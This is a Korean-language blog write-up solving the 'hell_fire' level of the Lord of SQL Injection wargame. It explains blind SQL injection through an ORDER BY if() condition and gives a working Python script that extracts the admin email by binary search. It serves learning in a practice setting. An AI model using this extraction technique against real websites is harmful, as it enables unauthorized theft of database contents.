| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
- lord of sql injection
- MySQL
- 과제
- sql injection point
- 모의해킹
- CTF
- FridaLab
- Los
- 로그인
- Python
- file upload
- 세션
- 문제 풀이
- 보고서
- 웹 해킹
- 웹개발
- XSS
- php
- 로그인페이지
- sql injection
- 웹 개발
- Error based sql injection
- csrf
- 증적 사진
- blind sql injection
- cookie 탈취
- 보안 패치
- JS
- 게시판 만들기
- union sql injection
- Today
- Total
Almon Dev
[Lord of SQL Injection] hell_fire 문제 풀이 본문
hell_fire 문제 풀이
hell_fire 문제

문제 분석
문제 목표
GET 메서드의 email 파라미터 값과 데이터베이스에서 가져온 admin 계정의 이메일이 일치할 경우, solve("hell_fire") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로, 이 문제의 목표는 admin 계정의 이메일 주소를 탈취하는 것입니다.
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
입력 제한
order 파라미터에서 union을 필터링하여 UNION SQL Injection을 방지하고 있습니다.
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
취약점 분석
order 파라미터에서 union을 제외한 필터링이 존재하지 않아 SQL Injection이 확실히 가능합니다. 또한 파라미터가 order by 절에 삽입되는 점을 이용해 참과 거짓일 때 정렬이 다르게 되도록 하여 Blind SQL Injection이 가능합니다.
order by if(1=1, id, email) => 1=1 이 참일 때 id, 거짓일 때 email로 정렬합니다.
문제 풀이
1. if 문을 이용해 1=1 참 쿼리를 삽입하면 id를 기준으로 정렬되도록 합니다.

2. 1=2 거짓 쿼리일 때는 score을 기준으로 정렬되는 것을 확인합니다.

3. if 문에서 admin 계정의 이메일을 가져와 한 자리씩 비교하는 공격 format을 생성합니다.
format => if((id='admin' and ascii(substring(email, 1, 1)) > 0), 1, 2)

4. 이진 탐색으로 admin 계정의 email을 추출하는 Python 코드를 작성합니다.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs
def sqli_request(url, session, index, ascii):
params = f"?order=if((id='admin' and ascii(substring(email,{index},1)) > {ascii}), 1, 2)"
url += params
response = session.get(url)
# response = session.get(url, proxies=proxies, verify=False)
if response.text.find("admin") < response.text.find("rubiya"):
return True
else:
return False
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
proxies = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
session = requests.Session()
session_id = "--PHPSESSID--"
session.cookies.set("PHPSESSID", session_id)
sql_result = ""
index = 1
while True:
left = 0
right = 127
if not sqli_request(url, session, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
if sqli_request(url, session, index, mid):
left = mid + 1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
5. Python 코드를 실행해 admin 계정의 email을 추출합니다.

6. 문제 풀이를 완료합니다.

이해가 안 갔던 점
if(1=1, id, score)와 if(1=2, id, score)는 정상적으로 작동하였지만 id='admin' and를 추가한 순간 문법 오류가 나는지 기본 순서로 정렬되는 것을 확인하였습니다.


이곳 저곳을 찾아보다 보니 id와 score의 타입이 달라서 그런 것이다라는 말이 있어서 타입을 일치시키기 위해 1, 2 혹은 'a', 'b'를 하니 정상적으로 작동했습니다.


하지만 실제 'a', 'b', 1, 2와 같은 숫자나 문자를 order by절에 삽입해도 실질적으로 작동하진 않았습니다.


id = 'admin'을 추가했을 때 결과가 참이면 id가 admin인 결과가 가장 위로 왔을 뿐 order by 절에 삽입되는 1, 2는 크게 의미가 없다는 결론을 얻었습니다.

마지막으로 제가 직접 테스트를 위해 생성한 MySQL에서도 비슷한 결과가 나왔습니다. id='ian009'가 포함된 조건문이 참일 때는 ian009가 가장 앞으로 오고, 거짓일 때는 기본 순서로 정렬되었습니다.



'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
| [Lord of SQL Injection] evil_wizard 문제 풀이 (0) | 2025.05.19 |
|---|---|
| [Lord of SQL Injection] dark_eyes 문제 풀이 (0) | 2025.05.16 |
| [Lord of SQL Injection] irongolem 문제 풀이 (0) | 2025.05.13 |
| [Lord of SQL Injection] dragon 문제 풀이 (0) | 2025.05.10 |
| [Lord of SQL Injection] xavis 문제 풀이 (0) | 2025.05.08 |